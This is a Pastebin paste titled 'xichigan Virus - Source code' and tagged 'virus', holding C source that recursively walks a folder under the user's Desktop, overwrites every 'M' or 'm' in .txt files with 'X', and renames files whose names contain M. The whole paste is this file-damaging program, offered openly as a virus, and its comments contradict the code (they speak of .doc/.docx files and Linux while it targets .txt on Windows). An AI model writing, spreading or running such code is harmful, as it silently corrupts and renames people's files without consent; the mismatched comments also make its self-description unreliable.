Advertisement
FlyFar

xichigan Virus - Source code

Jun 20th, 2023
712
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.59 KB | Cybersecurity | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <dirent.h>
  4. #include <string.h>
  5. #include <sys/stat.h>
  6. #include <windows.h>
  7.  
  8. #define PATH_MAX        4096    /* # chars in a path name including nul */
  9.  
  10. /*********************************************************************************
  11. * Author: Laine Rumreich                                                                       *
  12. *                                                                                                           *
  13. *                                                                                                           *
  14. * Compile: gcc -o xichigan xichigan.c                                                           *
  15. *                                                                                                           *
  16. * Functions to search for .doc and .docx files on the desktop                    *
  17. * of the current user, open them, and replace every 'M' or 'm' with 'X'          *
  18. **********************************************************************************/
  19.  
  20. /*********************************************************************************
  21. Open the .txt file and replace 'M' and 'm' with 'X'
  22. **********************************************************************************/
  23. void convertMtoX(char *filepath){
  24.     FILE *file;
  25.     char ch;
  26.  
  27.     // Open the file
  28.     file = fopen(filepath, "r+");
  29.     if (!file){
  30.         //fprintf(stderr, "Unable to open file %s", filepath);
  31.         return; // Return with no error to target
  32.     }
  33.    
  34.     while ((ch = fgetc(file)) != EOF){
  35.         // If the current value is an 'M' or 'm', replace it with an 'X'
  36.         if(ch == 'M' || ch == 'm'){
  37.             fseek(file, ftell(file) -1 , SEEK_SET);
  38.             fprintf(file, "%c", 'X');
  39.             fseek(file, ftell(file), SEEK_SET);
  40.         }      
  41.     }
  42. }
  43.  
  44. /*********************************************************************************
  45. Determine if the filepath 'path' is a directory; return 1 if it is a directory,
  46. 0 otherwise
  47. **********************************************************************************/
  48. int isDir(const char* path) {
  49.     struct stat buf;
  50.     stat(path, &buf);
  51.     return S_ISDIR(buf.st_mode);
  52. }
  53.  
  54. /*********************************************************************************
  55. Find and replace all 'M's and 'm's in a string with 'X'
  56. Used only to convert filenames
  57. **********************************************************************************/
  58. void findAndReplaceMs(char* str) {
  59.     int i;
  60.     for(i = 0; i <= strlen(str); i++){
  61.         if(str[i] == 'M' || str[i] == 'm')  
  62.         {
  63.             str[i] = 'X';
  64.         }
  65.     }
  66. }
  67.  
  68. /*********************************************************************************
  69. Search (spider) through all of the files on the Desktop and any subdirectories
  70. **********************************************************************************/
  71. void spiderDirectory(char *homeDir, DIR *d){
  72.     struct dirent *dir;
  73.     DIR *currentD;
  74.     char *currentDir = malloc(PATH_MAX);
  75.     int length;
  76.     char* newFileNaXe = malloc(PATH_MAX);
  77.     char* newFilePath = malloc(PATH_MAX);
  78.  
  79.     // Loop and recurse until there are no more subdirectories
  80.     while ((dir = readdir(d)) != NULL){
  81.         // Get the full path associated with dir->d_name
  82.         strcpy(currentDir, homeDir);
  83.         strcat(currentDir,"\\");
  84.         strcat(currentDir,dir->d_name);
  85.        
  86.         // If the current element of the directory is a subdirectory (and not . or ..), spider through it
  87.         if(strcmp(dir->d_name, ".") != 0 && strcmp(dir->d_name, "..") != 0 && isDir(currentDir)){
  88.             currentD = opendir(currentDir);
  89.             if (currentD){
  90.                 spiderDirectory(currentDir, currentD);
  91.                 closedir(currentD);
  92.             }
  93.         }
  94.  
  95.         /*
  96.             If the current item in the directory is a .txt, convert all Ms to Xs
  97.         */
  98.         length = strlen(currentDir);
  99.         if(length > 4 && strcmp(&currentDir[length-4],".txt") == 0){
  100.             convertMtoX(currentDir);
  101.         }
  102.  
  103.         /*
  104.             If the current item's name contains an m or M, change the name of the file by replacing with Xs
  105.         */
  106.         if(strchr(dir->d_name, 'M') != NULL || strchr(dir->d_name, 'm') != NULL){
  107.             // Get the new file name
  108.             strcpy(newFileNaXe, dir->d_name);
  109.             findAndReplaceMs(newFileNaXe);
  110.             // Construct a new valid filepath with the converted name
  111.             strcpy(newFilePath, homeDir);
  112.             strcat(newFilePath, "\\");
  113.             strcat(newFilePath, newFileNaXe);
  114.  
  115.             // Rename the file
  116.             rename(currentDir, newFilePath);
  117.         }
  118.  
  119.     }
  120.  
  121. }
  122.  
  123. /*********************************************************************************
  124. Main Function
  125. **********************************************************************************/
  126. int main(int argc, char*argv[]) {
  127.     DIR *d;
  128.     char *homedir = getenv("USERPROFILE");
  129.     // Get the Desktop path if user is using Linux
  130.     strcat(homedir,"\\Desktop\\testFolder");
  131.  
  132.     // TODO: Get Desktop path if user is using Windows/iOS
  133.     // Look through the desktop and all of its subdirectories for word documents, and do the conversion XtoM
  134.     d = opendir(homedir);
  135.     if (d){
  136.         spiderDirectory(homedir, d);
  137.         closedir(d);
  138.     }
  139.  
  140. }
Tags: virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement